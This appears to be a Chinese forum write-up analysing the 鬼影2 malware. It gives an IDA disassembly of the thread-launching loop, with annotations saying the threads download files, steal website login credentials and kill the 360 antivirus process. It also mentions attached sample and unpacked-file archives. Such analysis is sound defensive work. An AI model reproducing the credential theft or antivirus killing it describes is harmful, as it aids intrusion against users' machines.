.text:0040AB8B FF 15 D0 C1 40 00 call addrCreateThread
.text:0040AB91 50 push eax ; _DWORD
.text:0040AB92 FF 15 54 C1 40 00 call addrCloseHandle
.text:0040AB98 53 push ebx ; _DWORD
.text:0040AB99 53 push ebx ; _DWORD
.text:0040AB9A 53 push ebx ; _DWORD
.text:0040AB9B 68 60 81 40 00 push offset sub_408160 ; 下载特定文件,并改写
.text:0040ABA0 53 push ebx ; _DWORD
.text:0040ABA1 53 push ebx ; _DWORD
.text:0040ABA2 FF 15 D0 C1 40 00 call addrCreateThread
.text:0040ABA8 50 push eax ; _DWORD
.text:0040ABA9 FF 15 54 C1 40 00 call addrCloseHandle
.text:0040ABAF 53 push ebx ; _DWORD
.text:0040ABB0 53 push ebx ; _DWORD
.text:0040ABB1 53 push ebx ; _DWORD
.text:0040ABB2 68 E0 8F 40 00 push offset sub_408FE0 ; 干一些 找ini下载信息找到后就完成下载信息,创建进程
.text:0040ABB2 ; 由于 自己的虚拟机下不知道怎么了
.text:0040ABB2 ; 文件找不到。。所以只是看了静态代码,写下的功能
.text:0040ABB7 53 push ebx ; _DWORD
.text:0040ABB8 53 push ebx ; _DWORD
.text:0040ABB9 FF 15 D0 C1 40 00 call addrCreateThread
.text:0040ABBF 50 push eax ; _DWORD
.text:0040ABC0 FF 15 54 C1 40 00 call addrCloseHandle
.text:0040ABC6 53 push ebx ; _DWORD
.text:0040ABC7 53 push ebx ; _DWORD
.text:0040ABC8 53 push ebx ; _DWORD
.text:0040ABC9 68 C0 94 40 00 push offset sub_4094C0 ; 获取网站的认证id 和pwd 并执行IE进程
.text:0040ABC9 ; ,调试机上文件 出现问题,所以之描述功能
.text:0040ABC9 ;
.text:0040ABCE 53 push ebx ; _DWORD
.text:0040ABCF 53 push ebx ; _DWORD
.text:0040ABD0 FF 15 D0 C1 40 00 call addrCreateThread
.text:0040ABD6 50 push eax ; _DWORD
.text:0040ABD7 FF 15 54 C1 40 00 call addrCloseHandle
.text:0040ABDD 53 push ebx ; _DWORD
.text:0040ABDE 53 push ebx ; _DWORD
.text:0040ABDF 53 push ebx ; _DWORD
.text:0040ABE0 68 B0 A1 40 00 push offset sub_40A1B0 ; 扫描各个目录去除360tray进程
.text:0040ABE5 53 push ebx ; _DWORD
.text:0040ABE6 53 push ebx ; _DWORD
.text:0040ABE7 FF 15 D0 C1 40 00 call addrCreateThread
.text:0040ABED 50 push eax ; _DWORD
.text:0040ABEE FF 15 54 C1 40 00 call addrCloseHandle
.text:0040ABF4 53 push ebx ; _DWORD
.text:0040ABF5 53 push ebx ; _DWORD
.text:0040ABF6 53 push ebx ; _DWORD
.text:0040ABF7 68 F0 A7 40 00 push offset sub_40A7F0 ; 继续干360
.text:0040ABFC 53 push ebx ; _DWORD
.text:0040ABFD 53 push ebx ; _DWORD
.text:0040ABFE FF 15 D0 C1 40 00 call addrCreateThread
.text:0040AC04 50 push eax ; _DWORD
.text:0040AC05 FF 15 54 C1 40 00 call addrCloseHandle
这就是它主要循环执行的线程部分(详细部分看idb)
分工还是很明确的。
就重点和简单点看了一下,整不下去了(有部分文件需要中毒后分析代码才能得到,我菜。。只有这么个能力),如果继续分析还可以看他释放以后在释放的文件执行的功能。。。。。很多
在调试的时候 对于多线程 我们可以看到 (只表明此处线程的提示)
在讲threadproc 分别断点后,我们直接跑起来之前我们看看图,他不会立即跑,他会创建后被挂起
程序里 利用sleep 或花指令 ,使得 线程切换频繁。。。
就到这里吧。。。
鬼影2.rar
idb和 释放脱壳文件和笔记.rar
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)